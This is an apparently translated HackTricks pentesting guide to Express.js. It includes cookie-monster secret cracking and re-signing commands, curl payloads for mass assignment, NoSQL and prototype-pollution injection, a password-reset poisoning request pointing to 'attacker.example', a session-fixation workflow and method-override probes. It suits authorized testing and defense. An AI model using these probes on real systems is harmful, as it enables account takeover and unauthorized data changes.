NodeJS Express

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

簡易フィンガープリンティング

recon中に有用な Express の指標:

  • X-Powered-By: Express またはスタックトレースに express、body-parser、qs、cookie-parser、express-session、または finalhandler が含まれる
  • s:（署名済み cookie）または j:（JSON cookie）で始まるクッキー
  • connect.sid のようなセッションクッキー
  • _method=PUT / _method=DELETE のような隠しフォームフィールドやクエリパラメータ
  • エラーページで Cannot GET /path、Cannot POST /path、body-parser の Unexpected token、またはクエリ解析中の URIError が漏れる

Express を確認したらミドルウェアチェーンに注目してください。興味深いバグの多くはフレームワークのコア自体ではなく、パーサー、proxy trust、セッション処理、および method-tunneling に起因します。

The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

Express は一般的に以下の2つの有用なクッキー形式を公開します:

  • s:<value>.<sig> - cookie-parser または express-session が処理する署名付きクッキー
  • j:<json> - cookie-parser により自動的に解析される JSON クッキー

もし cookie-parser が署名付きクッキーを受け取り、その署名が無効であれば、改ざんされた値の代わりに値は false になります。アプリケーションが secrets の配列を受け入れる場合、シークレットのローテーション後でも古いシークレットで既存のクッキーが検証されることがあります。

特定の名前を持つ単一のクッキー

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

カスタム wordlist

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

複数の cookies をバッチモードでテストする

cookie-monster -b -f cookies.json

カスタム wordlist を使って batch mode で複数の cookies をテストする

cookie-monster -b -f cookies.json -w custom.lst

秘密を知っていれば、その cookie に署名できます。

cookie-monster -e -f new_cookie.json -k secret

クエリ文字列とURLエンコードされたパーサの悪用

Expressのターゲットは、攻撃者が制御するキーをネストされたオブジェクトにパースするときに興味深くなることが多い。

  • req.query は qs を含む異なるパーサで構成できます
  • express.urlencoded({ extended: true }) は application/x-www-form-urlencoded 用に qs スタイルのパースを使用します
  • ネストされたパースは、解析されたオブジェクトがアプリケーションの状態にマージされると、object injection, mass assignment, NoSQL injection, and prototype pollution chains を引き起こし得ます

試すべき実用的な payloads:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

アプリが結果のオブジェクトを反映または永続化する場合、エクスプロイトの詳細については専用ページに進んでください：

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Express に対して特に試す価値のある追加テスト:

  • 深いネスト — parser limits、タイムアウト、または 400/413 の挙動差を確認するため
  • 重複するキー — アプリが最初の値を保持するか、最後の値を保持するか、あるいは配列にするかを確認するため
  • ブラケット構文（例: a[b][c]=1）、ドット構文（例: a.b=1）、および __proto__ / constructor[prototype] ペイロード

trust proxy の悪用

アプリが app.set("trust proxy", true) を使用している、または過度に多くのホップを信頼している場合、Express は転送ヘッダからセキュリティに関わる値を導出します。reverse proxy がそれらを上書きしないと、クライアントはそれらを直接偽装できます。

影響するのは:

  • req.hostname via X-Forwarded-Host
  • req.protocol via X-Forwarded-Proto
  • req.ip / req.ips via X-Forwarded-For

これが役立つ場面:

  • Password reset poisoning and absolute URL poisoning
  • IP ベースの allowlists、rate limits、または audit trails のバイパス
  • secure cookie handling や req.protocol を基にした HTTPS-only ロジックへの影響
  • アプリが forwarded host/proto ヘッダで絶対リンクをテンプレート化している場合の redirects や cacheable responses の Poisoning
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Check whether generated links, redirect locations, logs, or access-control decisions now use attacker-supplied values.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session テストノート

一般的なExpressのデプロイではexpress-sessionを使い、セッション識別子のCookieに署名するが、実際の状態はサーバー側に保存される。

有用なチェック:

  • Session fixation: ログイン前のCookieで認証し、ログイン後にSIDが同じままか確認する
  • Weak secret rotation: 一部のデプロイは過去の秘密鍵の配列でCookieを検証するため、以前有効だった署名が引き続き有効になる場合がある
  • saveUninitialized: true: アプリが匿名ユーザーに事前認証セッションを発行し、fixationを容易にし、brute-forceやキャッシュ解析のためのセッション攻撃対象面を増やす
  • MemoryStore がproduction環境で使われている場合、運用成熟度が低く、再起動時にセッション挙動が不安定になることが多い

実践的な fixation ワークフロー:

  1. ターゲットから匿名のセッションCookieを取得する。
  2. そのCookieを被害者に送るか、自分でそれを使って認証する。
  3. ログインが認証済みの状態を既存のSIDにバインドするか確認する。
  4. もしそうなら、別のブラウザセッションで同じCookieを再利用する。

アプリが認証後にreq.session.regenerate()を呼んでいない場合、fixationは依然として可能なことが多い。

Method Override Tunneling

一部のExpressアプリはmethod-overrideを使って、HTMLフォームがネイティブに送信できないHTTPメソッドをトンネリングします。有効な場合、フロントエンド、WAF、またはCSRFロジックがPOSTのみと想定しているルートに危険なメソッドをこっそり送れるか常にテストしてください。

典型的なプローブ:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes

POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

興味深い影響:

  • POST のみのエッジ制御を通じて隠された PUT / PATCH / DELETE ルートに到達する
  • req.method のみをチェックするルート固有のミドルウェアをバイパスする
  • アプリケーションが外側のリクエストメソッドのみを検証している場合、CSRF を介して状態を変更するハンドラをトリガーする

デフォルトではミドルウェアは通常 POST のみをオーバーライドするため、ヘッダー、ボディ、クエリ文字列のオーバーライド値を持つ POST リクエストを優先する。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする